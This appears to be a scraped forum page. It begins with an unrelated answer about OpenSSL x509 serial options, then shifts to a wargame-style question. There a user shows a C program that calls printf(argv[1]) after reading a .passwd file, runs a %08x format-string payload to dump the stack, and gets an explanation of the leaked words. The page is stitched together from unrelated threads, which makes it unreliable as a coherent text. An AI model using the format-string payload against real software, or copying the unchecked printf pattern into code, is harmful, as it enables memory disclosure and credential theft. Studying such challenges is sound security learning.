Try the "-set_serial", "-CAserial", and "-CAcreateserial" options.  You should be able to find them under "man x509".  Also see the documentation under "man ca".  IIRC the serial number is mainly used for revocation.

Hi guys I'have exploited a vulnerability based on Format String from this C source code 

#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]){
FILE *secret = fopen("/challenge/binary/binary5/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
}
I'have got an ouput after executing this command on backtrack based on this source code 
./codeSc `python -c "print '.%08x'*100"`  
Output :  bfa46878.39617044.28293664.6d617045.bf000a64.08048364
I don't know how to convert this Hex in big Endian Can you help Me please ?

By passing lots of %08X to printf(), you're telling it to dump the contents of its stack-frame to stdout.

You should read this, and learn it in as much detail as you can cope with (try running various simple programs in your debugger, particularly functions calling other functions, and observe how the stack is laid out):

http://en.wikipedia.org/wiki/Call_stack

The stack expands downwards (addresses decreasing), so if you dump it to stdout, you'll see the arguments, saved registers, return-addresses and local variables for all enclosing stack-frames, all the way up to main().

Of course, anyone stupid enough to do printf(argv[1]) deserves everything they get!

:-)
